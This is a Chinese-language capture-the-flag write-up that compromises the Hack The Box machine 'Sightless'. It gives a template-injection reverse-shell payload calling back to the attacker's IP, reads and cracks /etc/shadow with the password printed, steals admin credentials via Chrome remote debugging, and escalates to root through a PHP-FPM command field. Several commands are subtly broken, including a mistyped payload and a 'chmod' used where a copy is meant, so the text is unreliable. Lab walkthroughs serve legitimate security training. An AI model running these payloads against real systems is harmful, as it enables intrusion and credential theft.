Sightless(HTB Easy)
基本信息
- IP:
10.10.11.32 - VPN:
10.10.16.4 - 域名:
sightless.htb
信息收集
vim /etc/hosts
rustscan -a 10.10.11.32 -- -sCTV
21/tcp open ftp syn-ack
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
| Invalid command: try being more creative
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Sightless.htb
nmap -sC -sV -Pn -T4 -p- -oN AllPorts.nmap 10.10.11.32
子域名挖掘发现 http://sqlpad.sightless.htb,未授权,版本 6.10.0。
User
利用 CVE-2022-0944 拿 shell。也可在 Connection 里选 MYSQL,payload:
{{ process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.16.4 /9000 0>&l"')}}
python main.py http://sqlpad.sightless.htb 10.10.16.4 1337
读 shadow,爆破 michael:
cat /etc/shadow
hashcat -m 1800 '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/' /usr/share/wordlists/rockyou.txt
密码:insaneclownposse
登录成功,拿到 user flag。
Root
netstat -tplun | grep LISTEN
curl 127.0.0.1:8080 -I
8080 开放,做 SSH 隧道:
ssh -L 8081:127.0.0.1:8080 -N [email protected]
浏览器能打开页面。利用 Chrome Remote Debugger:
ps -aux
ps -aux | grep john
john 启动了 chrome,带 --remote-debugging-port=0。本机安装 Chrome:
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
dpkg -i google-chrome-stable_current_amd64.deb
google-chrome
打开 chrome://inspect/#devices,再转发调试端口:
ssh -L 38437:127.0.0.1:38437 -L 8081:127.0.0.1:8080 -L 42223:127.0.0.1:42223 -L 45901:127.0.0.1:45901 [email protected]
拿到凭据:
loginname: admin
password: ForlorfroxAdmin
左侧菜单 PHP → PHP-FPM,新建 PHP 版本,在 php-fpm restart command 写入:
chmod /root/.ssh/id_rsa /tmp/id_rsa
System → PHP-FPM 开关一次等命令执行。再写:
chmod 777 /tmp/id_rsa
取回私钥并登录:
scp [email protected]:/tmp/id_rsa ./
chmod 600 id_rsa
ssh -i id_rsa [email protected]
至此已获得机器全部权限。